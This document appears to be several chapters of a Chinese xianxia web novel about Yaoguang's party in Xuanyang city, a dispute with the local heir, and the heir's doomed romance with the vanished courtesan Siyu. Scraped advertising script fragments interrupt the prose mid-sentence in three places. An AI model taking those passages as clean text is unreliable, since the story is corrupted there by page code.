老牛拖着沉重的步伐缓缓停下,车轱辘碾过石板路,发出刺耳的吱呀声。大叔眯起浑浊的双眼,打量着眼前这群陌生的贵人。瑶光身着绸缎锦裙,花容月貌,宛如云中仙子。身后还跟着一辆装饰华丽的马车和俩俊俏小厮侍立一旁。 大叔心中暗自揣测,这定是哪家的公子小姐们游山玩水来了,真是好不自在。他嫉富如仇,斜睨了瑶光一眼,眼神中满是鄙夷。他不耐烦地指着左侧的官道,吼道:“走左边那条道,一直走,就能找到那富甲一方的宣阳城了。不过,我劝你们还是别去了,那里的人可都不是善茬。”说完,大叔头也不回地驾车扬长而去,将瑶光他们甩至脑后。 “宣阳城?不仅有城镇,还富甲一方?” 瑶光听大叔所言,眼中闪过一丝亮光。有利益的地方,必有贪婪的妖魔,说不定,秦威也在那处。 但现在……她回头看了一眼身后风尘仆仆的各位,还是先吃饱喝足,休整一番先罢。 瑶光朝大叔远去的身影高声大喊:“谢谢大叔!” “快走!赚钱,吃饭,抓秦威!”瑶光兴致勃勃地招呼着众人,跳上了马车。青稚和季伶也紧跟其后,而司幕则浅浅一笑,与瑶光并肩坐在马车前。 瑶光接过马鞭,狠狠朝马背上抽去。马车突然向前冲去,躺在车厢内的季昀之猝不及防地摔下了床榻,顿时头晕目眩。 他怒吼道:“瑶光!” 初抵宣阳城,城内处处张灯结彩,热闹非凡,街道两旁店肆林立,人声鼎沸,吆喝声此起彼伏,行人川流不息,无一不诉说着宣阳城的繁荣盛世。如此景象,令常年在世外桃源的瑶光叹为观止。 瑶光随手拦住一路人询问:“兄台,这宣阳城中,哪里的姑娘最多?” 还未等她说完,她便被男子容貌镇住了。真是一方水土养一方人,她随便拦住的一个路人竟也如此好看。男子唇红齿白,朗目疏眉,长发整齐扎起一丝不苟,虽身着一袭简单的粗衣麻布,却难掩他自小养成的书卷清贵之气。只是,此刻的他却显得有些失魂落魄。 男子垂眸道:“上京桂香宣阳莲,找姑娘必定是城中鼎鼎有名的莲馆......”然而,待他看到瑶光的手时,他整个人都楞住了。 瑶光不解地看向男子,问道:“小哥儿可是有事?” 男子支支吾吾:“姑娘......可是仅路过此地不长住?” “应当是。” “如此便好,莲馆就在前方,你径直走到那彩纱飘扬之处便是。”话音刚落,他便转身离去,背影却透着几分落寞与萧索。 莲馆?季昀之一听,心中生出兴致,莲馆难不成是孕育莲花之地?说不定还能遇到同族后辈。然而,一到达莲馆,他脸都青了,“什么莲馆!这明明是寻欢作乐的烟花之地!” 莲馆外彩纱飘飘,看似琼楼玉宇,可一入门内,纱幔低垂,有人轻轻的拂过琴弦,香炉离升起阵阵袅袅的香烟,卷裹着纱帘,弥漫着淡淡的幽香,营造出朦朦胧胧的气氛。一眼看去,尽是婀娜多姿的貌美女子,个个身穿透体衣纱,妩媚动人,看得青稚这一年轻小伙眼花缭乱,心头小鹿一顿乱跳。 青稚被莲馆内纸醉金迷的景象晃得眼花缭乱,好不容易回过神来,连忙一个箭步冲到瑶光身前,张开双臂将她严严实实地挡住,义正言辞地喝道:“不许看!” 瑶光无奈地一把扒开青稚,“别挡道,来这赚钱呢。” 这时,一位身姿绰约的女子从楼上款款而来,远望似神似仙,身影飘摇,一步三摇家佳人丽影丰腴尤俏。近至怡然,堪堪笑颜显梨涡,圆润芳华丽荣极妍,不施粉黛便有羊脂玉肌。惹得青稚像入迷了一样,看得目不转睛,饶是在不周山见惯绝色的瑶光也不由得感叹其美貌。 “各位小哥儿小姐儿,好生的面孔~可是看上了咱家姽婳~” 徐娘半老的老鸨顶着那满是皱纹、浓妆艳抹的脸,绕着瑶光他们走过一周,看到他们非富即贵,气宇非凡的模样,就像是看到了金子在面前闪闪发光一样。尤其看到一脸冷峻而俊美的司幕后,原本敏锐的神态也软糯了下来,微微向司幕靠近,甚至想将半截身子都依在司幕身上。 司幕冷淡地错开身子,徐妈妈失去平衡踉跄了一下,而后尴尬地用纱袖掩面,媚笑道:“看来小哥儿、小姐儿们,是初次来莲馆呀~” 看到徐娘的窘态,瑶光心里偷笑,悄悄站在徐妈妈面前,隔开她看着司幕灼热的视线,现买现学道:“常听说南秦有二绝色,上京桂香宣阳莲。来到宣阳,怎么也得要来莲馆看看什么是百花绽放。” 听得云里雾里的青稚不禁扯过她的衣袖,低声问道:“你怎么知道的?” 瑶光随口道:“编的。” “哟~小姐儿真是见多识广~”徐妈妈的目光依旧停留在司幕身上,她说着,欲绕开瑶光再向他靠近。 瑶光见状,连忙一脸亲切地拉着徐妈妈的手臂,将她拉回,道:“那可不。”她微微一笑,从法袋中取出几颗晶莹剔透的珍珠,在徐妈妈眼前晃了晃,“唉,有如此美景在眼前,看来我这北海珍珠的生意只能先搁下了。” “北海珍珠?!”徐妈妈吓得提高了音量,将周围的目光都吸引过来。周围众人闻言,纷纷围拢过来,好奇地打量着瑶光手中的珍珠,开始窃窃私语。 瑶光故作惋惜地叹了口气,说 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 道:“是啊,好不容易在北海采得几颗,却因家中急需银两,不得不忍痛割爱,想着百两都卖掉就算了。” “徐妈妈,什么北海珍珠?可是那极寒之地北海?” “听说北海珍珠磨成粉后敷上片刻便可使肌肤返璞归真,变得吹弹可破,是千金难得的珍品,贵族小姐闺中都难备上些许呢~” “这,这些北海珍珠卖百两?简直是天大的便宜。” 趁着众人议论着不注意,青稚偷偷把瑶光拉到一旁,问道:“北海珍珠?神医没说过是北海的吧?” “咳咳,也是编的。”瑶光莞尔一笑,想起在不周山时,那一个个小花仙把北海珍珠当奇珍异宝似的,舍不得一点儿往脸上抹。果然说是北海珍珠就会抢破头,女子本就爱美,这是一门商机。 徐妈妈率先朝瑶光谄媚道:“这位小姐儿,您这珍珠看着可真好看,你看你都在这儿了,能否考虑考虑卖给奴家呢~”本在一旁沉默不语,温柔似水的姽婳,突然拉了拉徐妈妈的纱袖,低声跟徐妈妈不知道嘀咕了些什么。 徐妈妈听完姽婳的话,脸色微变,转头略带歉意地跟瑶光说:“这瑶光姑娘要不还是算了,宣阳城有规矩,若无宣阳王颁发的文书,不可随意买卖物品。” 在一旁看热闹良久的季昀之不解地问:“文书?那是何物?” 徐妈妈环视一周,压低声音说道:“就是买卖批准文书,这是宣阳王定下的规矩,奴家不能再说了。” “既然徐妈妈这么说了,那我们也就不勉强了。”说着,瑶光故作遗憾地晃了晃手中的珍珠,引得徐妈妈心猿意马。 瑶光背过身向司幕他们眨眨眼,示意假装要走。他们心领神会,一行人慢慢悠悠地走着,每一步都像是踏在徐妈妈心尖儿上一样,惹得徐妈妈一脸纠结地皱着柳叶眉。 ——就在瑶光即将踏出莲馆门槛之时。 “小姐儿请留步!”瑶光得逞的笑了,丝毫没有注意到,不远处有一只银色蝴蝶在阳光下翩翩起舞,翅膀上闪烁着耀眼的光芒。 徐妈妈终于按捺不住,一把甩开了拽住她衣袖的姽婳,快步追上他们,低声道:“我们能私下交易。” 片刻后,青稚看着手中堆满金银首饰的檀香木盒,瞬间化身小财迷,抱着盒子屁颠屁颠地走出莲馆,心想等下要去哪家酒楼大吃一顿。 忽然,马蹄声起,如雷贯耳,打破了宣阳城的宁静,惊慌失措的城民们四散奔逃。 “何人敢在宣阳城私自买卖!” 一声厉喝划破长空,紧接着,一道鞭影如闪电般掠过,狠狠地抽向背对马匹的青稚。而他抱着怀中木箱,毫无防备,无法躲避。千钧一发之际,一直紧随其后的季伶目睹了这一幕,他毫不犹豫地飞扑上前,紧紧地抱住青稚,两人一起滚倒在地,这才险险地躲过了这一鞭。 然而,巨大的冲力还是让季伶的背部撞击到了路边的台阶,剧烈的疼痛让他忍不住蜷缩在地上,痛吟出声。 不等他们喘息,又一鞭破空而来,狠辣凌厉,直取青稚面门。青稚虽与季伶心结未解,但恩义当前,岂能袖手旁观?他刚欲抽出皎月刀硬撼,却见一道纤细身影如风般掠至,素手轻舒,竟徒手接下了那凌厉一鞭! 二人一时之间针锋相对,瑶光突然松开松开鞭绳,马上之人竟连人带马栽倒在地。 一声清脆的骨裂声响彻闹市,原本喧嚣的人群瞬间鸦雀无声,落针可闻。 “世子!”好不容易速跑跟上的侍从们满眼惊恐地看着世子受伤,惊呼失声,连忙上前搀扶,却又不敢轻举妄动,生怕弄疼了世子。 这位年轻的世子眉骨高挺,棱角分明,眼神凌厉夺目,一看就知道他很是不近人情。在如此痛楚之下,他也仅是眉头紧皱,不吭一声地忍着,紧咬牙关,依靠着侍卫们颤巍巍地站起身。 瑶光拍了拍双手,傲然挺立的站在马前,朝地上人说道:“闹市纵马,还打伤我们的人,管你是什么世子,在下可由不得你胡来。” 世子身着明华锦绣,却难掩满脸狼狈,额角青筋暴起,一双眼眸阴狠地瞪着瑶光:“放肆!竟敢伤本世子!怕是想与这整座宣阳城为敌!招壹,招贰,给我拿下他们!” “是!世子!” 突然两名暗卫从瑶光视野盲角处闪身冒出,他们应当便是世子口中的招壹招贰。二人原是江湖赫赫有名的双煞,自诩天下无敌,举起手中长剑便向瑶光冲去。 瑶光心中一紧,正准备躲闪。结果他们还未靠近瑶光,便有一阵阴风袭来,两人猛地被击中胸口,狠摔在地上吐血不止。 她愕然回眸,身后一人红衣飘逸,飒爽而立。 “司幕公子竟会武功?” 司幕朝她浅浅点头,“防身之术罢了。” 12. 上京桂香宣阳莲(二) 瑶光退至司幕身旁,环顾四周。 看来宣阳城看似歌舞升平,实则暗藏杀机。能如此快便察觉私下交易,意味着他们自踏入城门,一举一动便被窥探。 瑶光低声叹气道:“定是昀之仙君的马车太过招摇了!” 但是,他们又是用什么神不知鬼不觉地监控着城里的一举一动的呢? “师傅……” 听到青稚的呼唤,瑶光回过神来,朝他们担忧地望去。此时,季昀之已经扶起季伶在一旁为其疗伤,感受到瑶光的目光,他微微点头示意季伶并未受重伤。 与一众姑娘在旁观望的姽婳留意到受伤的世子,中闪过一丝不明意味的神。侧过头时,她与瑶光四目相对,微微抬起手用纱袖捂嘴低咳,不动声色地移开视线。 世子艰难地站稳,看着倒在地上哀嚎不止的两个暗卫,以及身后畏缩不前的侍从们,怒斥道:“一群废物!” 侍从连忙上前谄媚:“世子,要不咱们请秦威大人来帮忙?” 秦威?! 瑶光和青稚交换了眼神,看来真是踏破铁鞋无觅处,得来全不费工夫。 “这么点事情还用不着他出马。”世子冷哼一声,凌厉的目光扫过侍从们,看得他们噤若寒蝉,大气都不敢出。随即,他高声宣布道:“若能活捉此行人,宣阳王府赏黄金百两!” 话音刚落,原本寂静无声的人群瞬间沸腾起来,如同一锅滚烫的热油,骤然翻滚起汹涌的浪花。无数贪婪的目光汇聚在瑶光一行人身上,他们摩拳擦掌,迫不及待地想要扑上来将这群不速之客撕成碎片。 季昀之与瑶光碍于身份,不便对凡人动手,而青稚则背着重伤的季伶,狼狈地躲闪着如潮水般涌来的百姓。渐渐地,他们被逼到了莲馆门前,进退维艰。 忽然,瑶光似乎听到一道空灵的女声在她耳边轻声呢喃道:“城东,城隍庙,安全。” 声音温柔婉转,却转瞬即逝,瑶光回头侧望却并未发现任何异样,只有莲馆中的姑娘们个个花容失色,惊恐万状。 正当瑶光分神之际,一个又一个百姓朝他们扑了过来。 司幕挡在瑶光身前,眼中琉璃色闪烁,手中暗光流涌。然而,当他欲出手时,手腕却被瑶光握住。手中暗光消失,司幕错愕地转头看向瑶光,只见后者目光炯炯地盯着他说:“不能打就跑!” 瑶光一边小心躲避着袭来的百姓,一边带着司幕和青稚朝莲馆旁的小巷跑去。待他们拐过弯道,消失在众人视线之中时,追兵们也紧随而至,却只看到空荡荡的死胡同,不禁心生恐惧,以为遇到了妖怪。 看到众人无功而返,世子心中恶气难平,只好将怒气撒在了莲馆头上:“徐妈妈!你可知罪?!” 欺软怕硬的侍从们一拥而上,将莲馆围得水泄不通。徐妈妈吓得魂飞魄散,跪倒在世子面前连连求饶:“世子饶命啊!奴婢只是一时被那妖人的妖术蒙蔽了心智啊!” 如若被世子因私营之罪逮入牢里,定死路一条。如今进去那牢里的,都还没见过有人能活着出来的。 世子正要发难,余光中他瞧见一旁的姽婳。,着她与脑海中那人八成相似的面容,他头痛欲裂,仿佛有了瞬间的清醒。 “算了,回府!”他朝身边的侍从喊道。 徐妈妈如释重负,欲瘫倒在地,姽婳连忙上前扶住。她望向世子一行人离去的方向,眼中充满了恨意。 夜幕如墨,将天地间笼罩得一片昏暗,只有远处几点星光闪烁着微弱的光芒。一座破败不堪的庙宇静静地矗立在荒野之中,其斑驳的墙体和缺失的屋顶诉说着岁月的沧桑。 一团光,一个长发飘飘的人影在飘荡。人影不小心在一堆落叶中踩到硬物,低头一看却并未停留,径直往庙内前行。 借着月色,地上的硬物竟是一面牌匾,匾上虽覆盖着层层灰尘,但仍能看出上面赫然刻着“城隍庙”三个字。残破的门扉敞开着,露出黑漆漆的内部;杂草丛生,将原本宽敞的庭院占据大半;断裂的香炉和残缺的供品散落在地上,诉说着昔日的香火鼎盛。 一入城隍庙,庙内阴风阵阵,因年久失修门窗皆不可闭,神像更是金漆尽褪,破烂不堪如身陷淤泥中。门窗摇曳声,脚踩树叶细碎声,风吹墙缝声,该城隍庙完全没有以往的庄严神圣,反而像是被无数只恶鬼注视着。残垣断壁,蛛网密布,更添了几分阴森诡异之感。 女子不为眼前的景象所动,举起手中的灯笼,微弱的火光在黑暗中摇曳,在众诡异神像的注视下,竟想继续往里走。她缓缓向前走去,每一步都踩在枯叶之上,发出沙沙的声响。 突然,一阵阴风吹过,灯笼里的火焰瞬间熄灭,黑暗如潮水般涌来,将女子吞噬其中。她心中一紧,正准备有所动作,却感到颈间一凉,锋利的匕首抵住了她的咽喉。 “别动!” 她手一松,将手中的食盒和灯笼跌落在地上。她低头看去,握刀之人手背青筋凸起,那隐隐约约透露的狠劲儿,似乎对方稍微一用力,她便身首异处。 “说,你是何人?”那人冷声质问。 女子强压住心中的恐惧,颤声说道:“莲馆......姽婳......” 云雾散去,月光穿透云层,洒在二人身上。姽婳身穿水蓝色衣裙,在月光下宛若出水芙蓉。而她身后的司幕,虽然如同千年冰雪般冷峻,却比姽婳更俊上几分。 “原来是姽婳姑娘。”瑶光缓缓从暗处现身,“堂堂一女馆姑娘,你怎敢冒如此风险帮我们呢?若东窗事发,姽婳姑娘怕是不能全身而退。” 瑶光朝司幕点了点头,司幕缓缓将架在姽婳颈边的利刃移开。 姽婳咳嗽了几声,试图让自己显得镇定:“比起惹上祸端,奴家更想各位帮奴家一个忙。” 若细看,不难看出刚刚那一刀已给姽婳颈上划出一道浅浅的血痕,在她白皙娇嫩的肌肤上显得格外刺目。瑶光暗自叹息:这司幕公子也忒不懂得怜香惜玉了吧。 瑶光眼眸微垂,扫过姽婳纤细的脖颈,心中不忍之情悄然升起。她从乾坤袋中捻出一缕水烟色绸缎,轻轻地系在姽婳颈上,与她一身水蓝色衣裙相得益彰,更衬得她肌肤如雪,娇艳若桃。 绸缎滑过肌肤,带来阵阵清凉,姽婳愕然低头,指尖轻抚着那柔软的布料,一时竟不知所措。她正欲将绸缎解下,瑶光却轻轻按住她的手,柔声道:“这绸缎在我法袋中都长灰了,美丽的东西就该配美人,给像姑娘一样的美人正合适。” 姽婳无法抗拒瑶光真诚的目光,于是姽婳微微一礼:“奴家谢过姑娘。” “姑娘所求,可是与宣阳世子有关?” 姽婳樱唇微启,欲言又止“正是。” “姽婳姑娘请细说。” “麻烦各位帮奴家找一个人。” 瑶光来了兴致,问道:“是何人,能让姽婳姑娘如此挂牵?” 姽婳垂眸,眼帘轻颤,声音低沉而沙哑:“是奴家的姐姐……姒妤。”想起记忆中那与自己八成相似的脸,心中哀伤幽然而起,眼中氤氲着泪光,“姐姐她自从一年前在此城隍庙一别后,便再也不见踪影了。” 瑶光秀眉微蹙,问道:“可有线索?” “线索便是宣阳世子!”姽婳眼中闪过一丝恨意,咬牙切齿道:“姐姐失踪前每月初一十五都会到城隍庙与宣阳世子那负心人见面。但自从一年前的四月十五那天她如常赴约后,就再也没有出现了。城隍庙的香火也奇怪地逐渐减少,变得像现在这般……奴家去到宣阳府找那负心人理论,可却被他赶了出来,还威胁奴家若再找他,整个莲馆的人也会跟着消失。” “宣阳城里宣阳王府权势熏天,奴家真是叫天天不应叫地地不灵。”说着,她朝瑶光跪了下,哀求道:“求官人们帮帮奴家吧!” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “姑娘快起,正巧咱们也要进宣阳府打探,这忙咱们帮了。”瑶光连忙将姽婳扶起,仔细打量了一番眼前这位楚楚动人的女子,心中不禁泛起一丝怜悯之情,“在下是瑶光,身旁这位是司幕公子,而在地上捡食盒的则是我徒弟青稚。” 快饿晕了的青稚原本在默默无闻捡食盒,被发现后,狠狠地白了瑶光一眼,转头笑着向姽婳道谢。 “请问官人们是要打探什么?”姽婳问道。 青稚急忙说:“姑娘可知秦威?” “不清楚,但确实近日有一群奇人异士来到宣阳城,官人们若是需要,姽婳可以帮忙打听一二。” 瑶光瞪了青稚一眼,握住姽婳双手说道:“不可,秦威乃妖族,为害一方,姽婳姑娘须以自身安全为先。” 听到瑶光的警告,姽婳先应着。 瑶光摸索着姽婳的手,说出了她的意外发现:“咦?姽婳姑娘你也是断掌?” “瑶光姑娘可是听说了城中关于断掌的传闻?” “不知,只是想起刚入城时,有一兄台看到在下的手便被告知在下需要小心......” “看来瑶光姑娘也是断掌。”姽婳翻过瑶光的手,果然是断掌,她苦笑道:“断掌本就不祥,自一年前起,宣阳城内就陆续有断掌女消失不见,闹得城中人心惶惶。” 都是一年前开始的,这该不是巧合罢? 瑶光本想与司幕商议,却发现司幕正目不转睛地看着她们的手。她见眼前郎才女貌,心生一计,笑道:“既然城中最近不太平,不如让司幕公子护送姽婳姑娘回去罢。” 闻言,司幕错愕。 姽婳见到司幕的反应,心中了然,侧身作揖道:“无妨的,奴家自会小心谨慎。况且,奴家自小在宣阳城长大,对宣阳城了如指掌,可自行回馆。” “那怎行,倘若姽婳姑娘因咱们出事......” 还不等瑶光说完,司幕便跨步走到庙门处,头也不回地说:“走罢。” 既然司幕出声了,姽婳也不好推脱,便朝瑶光点了点头,跟着司幕离开了。瑶光目送他们离去,而青稚则恨铁不成钢地白了她一眼,率先拿着食盒走进内室。 一入内室,青稚便看到躺在床榻上脸色苍白、昏迷不醒的季伶,神色复杂。 “昀之仙君,让我来照顾季伶吧。” 季昀之犹豫了,毕竟之前青稚曾对季伶心怀不满,他们之间的误会尚未解开,让他们独处似乎有些不妥。 “哎呀!白天扭伤了手,现在好痛啊,昀之仙君,快来帮我看看!”门口的瑶光突然发出疼痛的呼声。 心如明镜的季昀之怎会不知道瑶光的意思,他无奈地朝青稚点了点头,起身离开。 如今内室只剩下青稚与还在昏睡中的季伶。 “乌鸦精,你快点好起来吧。”他坐在床边地桌旁,百无聊赖地夹起手中被他如视诊宝的鸡腿,对床榻上的季伶说:“白天包子我不是故意弄掉的,你看我把最好吃的鸡腿留给你。” 咦不对,乌鸦是鸟类,鸡也是鸟类,这岂不是食同类? 想到这里,青稚毫不犹豫地吃掉了鸡腿,然后换了一块猪肘子放在床边,“算了,还是把这块猪肘子留给你吧。” 榻上传来痛吟声,季伶像是陷入梦魇一般,眼角含泪,脸上满是痛苦之色,身体剧烈地颤抖起来,额头上冒出豆大的汗珠。青稚见状,立刻扭干床边水盆中的巾帕,准备为季伶擦拭汗水。 被困在梦中的季伶感觉有人靠近,像是溺水的人找到了浮木一般,紧紧地抓住了他,不肯松手,口中好似还在不停呢喃着什么。 青稚凑近一听,听到他神智不清的呼唤着一个名字。 “沅儿妹妹......” 听此,青稚停下手中动作,水滴从湿掉的巾帕上不断落下,在水盆中泛起层层涟漪。 13. 上京桂香宣阳莲(三) “我跟你说,前两天宣阳王洗尘宴,周员外带我去参加了,可热闹了呢。” “我也去了,我坐的屋内还瞧见了那宣阳王和宣阳世子。世子那俊的哟,真不懂那宣阳王容貌一般是怎么有像世子那样品貌非凡的子嗣。” “你活腻啦,敢讨论皇族!” “哎哟,好姐姐,我这不是口直心快嘛~” “不过那世子是真俊俏,要是我是世子妃就好了。” 马车里,脂粉香气弥漫,几位姿色不俗的莲馆姑娘正围坐在一起,嗑着瓜子,闲聊着。姒妤一向对此不感兴趣,她掀开车帘想透透气,向外望去,香火鼎盛的城隍庙矗立在熙熙攘攘的人群中。 这时,一少年和他的侍从不慎撞到了马车,闯入她的视线。少年五官棱角分明,眉宇间洋溢着一股风雅之色,举手投足间透着难以掩饰的贵气。他自知理亏,正想向她道歉,怎知看到姒妤芙蓉般的容貌后愣住了,直到少年的侍从拉着他离开。 当初双方的惊鸿一瞥,像是姻缘注定一般,将俩人的的命运绑定。 马车中的姑娘们见到姒妤与往日不同,眼含秋波,笑意中带着一丝羞涩,其中一位姑娘立马打趣道:“呵呵,看来姒妤今日是想要求个好姻缘啊。” “可不是嘛,姒妤和姽婳可不同于我们,她们卖艺不卖身,说不定真能寻得一段好姻缘。”另一人附和道。 “是啊,哪像咱们这些命苦的女子,只能等着被不知道哪个达官贵人赎走。命好一点的或许能当上小妾,过上好日子。但命不好的呢,就只能在莲馆待到人老珠黄了。”一位平时因徐妈妈对姒妤姐妹偏爱而心生妒忌的姑娘,娇声娇气地说道,“可都是从一地儿出来的,谁又比谁高贵呢~” 爱姐心切的姽婳可听不得自己姐姐被调侃,当下回击道:“确实哦,好像有人现在就命不好人老珠黄喽。那个谁,哦,黄老爷好几个月没有再找她了,之前还大言不惭地说要成为黄夫人,真是让人笑掉大牙。” “你个小婊子养的!”被点名的姑娘顿时恼羞成怒,指着姽婳破口大骂。 姽婳朝对方扯了个鬼脸,“我要跟徐妈妈说你说她是小婊子。” “你敢!” 不想生出事端的姒妤拉了拉姽婳的衣袖,示意她少说些话,姽婳这才消停了下来。 刚才那些姑娘们的话,姒妤多多少少听进去了些,她知道自己出身莲馆,姻缘不易,心中郁郁难安,下了马车后竟不小心落了单。 庙外,人山人海,热闹非凡,各种叫卖声、欢笑声交织在一起。庙内却空空荡荡,只有几根香烛在静静地燃烧,散发着淡淡的香气。姒妤落寞的独自跪在神像前,手中的签筒摇摇晃晃,闭眼沉思,心中祈祷着能得到一个好的签。 忽然,姒妤一不小心用力一摇,签筒中的竹签尽数散落在地。她心中忐忑,签全撒了可不是什么好兆头。 当她捡到最后一根签时,一只的手同时跟她握住了同一根签。四目相对间,他们看到了对方眼中的欢喜。率先反应过来的姒妤脸上泛起红潮,稍微用力将签抽回,低眉垂目道:“谢公子。” “姑娘客气了。”少年笑了起来,眼如弯月,“恕呈元冒昧,请问姑娘芳名?” 姒妤柔声回道:“奴家名唤姒妤。” “姒妤姑娘好,在下姓裴,双名呈元。”得知佳人姓名,裴呈元心喜,连忙与她跪坐在一旁的蒲团上,双手合十,装作祈福的样子,“姒妤姑娘,你可是每月初一十五姑都会来此处祈福?” “是的,每月初一十五。”姒妤垂下眼帘,长长的睫毛轻轻颤动,莲馆长大的她怎会不知少年心,更何况她也是一见如故,芳心暗许呢。 “好巧,呈元也是每月初一十五随娘亲来此处祈福......”还没等裴呈元说完,呼唤声渐近,“世子!你在哪里!” 听到越来越近的脚步声和呼喊声,裴呈元虽然很不情愿,但只好匆匆站起,朝庙外走去,临走前还不忘与姒妤约定:“下个月初一见,姒妤姑娘!” 姒妤一时愣住,不知该如何应答。她望着裴呈元远去的背影,心中思绪万千,犹如百转千回:原来……他就是宣阳世子…… “姐姐,你可是喜欢那位郎君?” 姒妤转头,看到姽婳朝她走来,手中捧着小风车,俏皮可爱。姒妤被她的古灵精怪的样子逗得哭笑不得,忍不住轻轻弹了她一下额头。 “人小鬼大。”说罢,姒妤便往庙外走去。 “嗷。”来不及抱怨,姽婳捂住红起来的额头,连忙追上姒妤的步伐,“姐姐你等我一下,你跟我说一下是不是嘛~” 待到下月初一时,裴呈元一早就在城隍庙里早早等候。明明与上次一样的马车已在庙外停泊着,可却迟迟不见他心心念的人儿进庙。裴呈元心想:等了半天也不见人影,难道姒妤姑娘有事被耽搁了? “招安,你先在这看着王妃,我出去走走。”见宣阳王妃都快与庙祝叙旧结束要离开了,裴呈元心中郁闷,想出去走走。 城隍庙后的小湖畔,荷花盛开,微风拂过,荷香阵阵。夕阳西下,晚霞映红了半边天,将湖面染成了一片金色。裴呈元漫无目的地走在湖畔,心中郁闷。他抬头望向远方,却无意中看到了一个熟悉的身影。是他日思夜想的姒妤姑娘! 裴呈元的心跳加速,脸上泛起红晕,他不敢相信自己的眼睛,连忙朝姒妤跑去。 “姒妤姑娘!”裴呈元气喘吁吁地站在姒妤身后,欣喜若狂但又怕唐突了佳人,“你怎么会在这里?” 听到最近脑海中不停环绕的声音,姒妤猛地回头,看到了朝她跑来的少年。少年充满朝气,真诚的笑容在她心中激起了涟漪。她压下心头的喜悦,连忙侧身行礼:“世子,午安。” “姒妤姑娘已知晓呈元的身份了?”裴呈元急切地问,“那为何不去庙里祈福?可是因为呈元上次吓着你了?” 姒妤连忙摇了摇头,发髻上的步摇叮叮作响。 “那是?”裴呈元追问道。 姒妤不敢直视那双如星河般璀璨的眼睛,侧过头垂下眼帘,轻声说:“奴家虽卖艺不卖身,但出身莲馆,世子与奴家见面,总归对世子名声不好。” 裴呈元深情地望着姒妤,从怀中掏出一枚玉簪,脑海中斟酌了几番,还是鼓起勇气将其递给佳人。 “姒妤姑娘何苦自轻?”裴呈元的声音温柔而坚定,“初见姒妤姑娘,呈元便觉得姑娘如月中仙子般清丽脱俗,与姑娘相遇是呈元之幸。此簪为呈元的一点心意,望姒妤姑娘收下。” 簪为玉簪,簪尖上刻着一只玉兔,小巧玲珑。在日光的照耀下,玉簪晶莹剔透,白里透黄,行家一看便知道是一不可多得的美玉。只是那雕工略显粗糙,可惜了这上等好玉。 “世子,奴家不可收。”姒妤望向裴呈元,还是摇了摇头。 裴呈元目光炯炯地看着姒妤,真挚地说道:“姒妤姑娘请勿再叫呈元世子,呈元此刻并非宣阳世子,只是一普通男子,会为心仪的女子的喜悦而喜悦,会为心仪的女子的哀愁而哀愁。” “叫我——裴郎罢,姒妤。” 姒妤双腮泛红,眸含秋水,显得我见犹怜,楚楚动人。终究是拗不过裴呈元,姒妤细声呼唤着意中人的名字。 “裴郎。” 她接过玉簪,指腹细细抚摸过玉兔粗糙的雕刻纹理,心中涌起酸楚,泪水涟涟。此刻的姒妤,犹如飞蛾扑火,说道:“裴郎,能否为我戴上。” 裴呈元听后,心里如小鹿乱撞,迫不及待地为姒妤戴上玉簪。忍不住低头朝姒妤芙蓉般的面容看去时,发现她也在目不转睛地凝视着自己。一时间,四目相对,心意交融。 “世子,该启程回府了!” 该死的招安! 如此缠绵悱恻的氛围被他打破,裴呈元此刻想揍死招安的心都有了。 与姒妤的相遇使裴呈元流连忘返,但宣阳王妃回府的行程却不容他耽搁,他必须尽快离去,毕竟他还是畏惧母亲的。 想到那位冷漠 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的母亲,裴呈元轻叹一声。自从来到由长安长途跋涉到宣阳后,原本温和慈爱、对他宠溺有加的宣阳王妃像是变了一个人一样,对他如陌生人般漠不关心,冷淡至极。 临走前,裴呈元握住姒妤的双手,焦急地说道:“姒妤,这个月十五,不,下个月,再下个月,以后我们每月初一十五都来此相见好吗?” 姒妤心知像裴呈元的身份定是不能随心所欲,知他一片真心,能每半月相见她心中已是很满足。于是,姒妤微笑着应道:“好!” 温柔似水的笑颜引入眼帘,将裴呈元心中的惊涛骇浪渐渐抚平,有如此妙人相伴,他何德何能。待以后他与王妃的关系缓和后,他必定与姒妤光明正大地相约并上门提亲。 裴呈元朝姒妤郑重地点了点头,便匆匆随招安离去。 在回府的路上,他骑着骏马漫步,扬起阵阵尘土。怕被身后马车内的王妃听到,他小声地唤来招安:“招安!下次别这么早叫我!我才刚遇着姒妤姑娘!” 招安跟在骏马旁边,声音略带无奈:“世子,你两次都在王妃快走的时候才跟姒妤姑娘聊上,奴才也没得办法呀。” 裴呈元闻言,顿时气不打一处来:“嘿,你还怪本世子咯。”他真是对这从小一起长大的贴身书童一点办法都没有。 他转头想到今日姒妤姑娘收下他做的发簪,心情顿时明朗:“算了,姒妤姑娘收下本世子为她精心雕制的玉簪,本世子今日不跟你计较。” “那玉簪,可是由世子洗尘宴当日在府内后院所拾的玉石废料所制?”招安想起那日宴会世子拾到的那块玉石,那质感温润,细腻光滑的模样,一看就不是凡品。 “正是,”裴呈元得意地扬起嘴角,“美玉配美人嘛。”说罢,裴呈元脑海中便想起姒妤那婀娜多姿的身影,那温柔似水的笑容,还有那一声清脆悦耳的“裴郎”。 “裴郎。” 她沉鱼落雁。 “裴郎。” 她闭月羞花。 “裴郎!!!!” 她犹如恶鬼! 突然,裴呈元脑海中的妙人,七窍竟然开始鲜血直流,,原本娇俏的面容痛苦扭曲。他被吓得呼吸开始急促,惊恐地四处张望,周围还是那片湖,却一片血红,寸草不生,树木尽毁,犹如人间炼狱。 再低头一看,被鲜血染红衣衫的妙人躺在他怀中,面容依旧俏丽,但唇红似血犹如鬼魅,朝他笑道:“裴郎。” “啊啊啊啊啊!” 啪啦一声,裴呈元一拳锤向等高的铜镜,镜面顺着他的拳头裂开,鲜红的血液不落流淌,与碎片一起散落一地。 “你是谁!为什么要占据我的身体!”裴呈元盯着铜镜里的自己,血色与戾气交织在他眼中翻涌,他怒吼道:“你为什么要杀了她!” 镜中“裴呈元”笑了,笑得让人毛骨悚然:“杀她的也是你啊。” “住嘴!我怎么可能会伤害她!” 